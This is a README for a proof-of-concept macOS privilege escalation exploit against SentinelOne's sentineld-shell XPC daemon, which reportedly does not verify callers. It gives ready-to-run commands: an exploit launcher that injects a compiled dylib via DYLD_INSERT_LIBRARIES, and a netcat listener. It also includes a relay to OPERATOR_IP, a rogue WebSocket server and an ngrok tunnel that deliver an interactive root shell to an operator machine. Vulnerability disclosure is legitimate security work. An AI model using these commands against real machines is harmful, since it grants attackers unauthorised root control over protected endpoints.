Proof-of-concept for local privilege escalation on macOS via SentinelOne's sentineld-shell daemon.
The sentineld-shell XPC service (com.sentinelone.sentineld-shell) accepts shell session requests from any local process without validating the caller's audit token. Any unprivileged user can instruct the daemon to open a PTY and connect it to an arbitrary WebSocket URL, effectively spawning a root shell under SentinelOne's context reachable by the attacker.
Requires SIP disabled (or a bundle binary without hardened runtime). Check with
csrutil status.
Full recording (105s): demo.mov — opens with GitHub's native player on the file page.
GitHub READMEs don't inline-play repo videos (including LFS). The GIF above is a preview; the full
.movis in the repo for download/playback.
- macOS with SentinelOne agent installed and
sentineld-shellrunning - SIP disabled or a bundle binary without hardened runtime (auto-detected)
- Xcode Command Line Tools (
clang) - Python 3.9+
bash exploit.shbash exploit.sh 'id'On the operator machine:
nc -lvp 4444On the victim:
bash exploit.sh --relay OPERATOR_IP:4444On the operator machine:
S1_BIND=0.0.0.0 python3 server.py
# or with a custom port:
S1_BIND=0.0.0.0 python3 server.py --port 8888On the victim (macOS):
bash exploit.sh 'ws://OPERATOR_IP:9999/socket.io/?EIO=4&transport=websocket'bash exploit.sh --ngrok
# then: nc -lvp 4444 on the operator side| File | Description |
|---|---|
exploit.sh |
Injection launcher — auto-discovers the bundle, compiles the dylib, and triggers the XPC request |
server.py |
Rogue WebSocket server — bridges the daemon PTY to a local tty or reverse TCP relay |
exploit.shlocates the SentinelOne bundle and auto-detects the Team ID- A dylib is compiled on the fly and injected into a bundle binary via
DYLD_INSERT_LIBRARIES - The dylib calls
xpc_connection_create_mach_service("com.sentinelone.sentineld-shell")and sends a shell session request with the attacker-controlled WebSocket URL sentineld-shellspawns a PTY as root and connects it toserver.py- The attacker gets a fully interactive root shell
The root cause is the absence of audit token verification on the XPC service: the daemon accepts the message from any process regardless of its identity or entitlements.
Tested on SentinelOne agent versions where sentineld-shell is present.
Reported to SentinelOne.
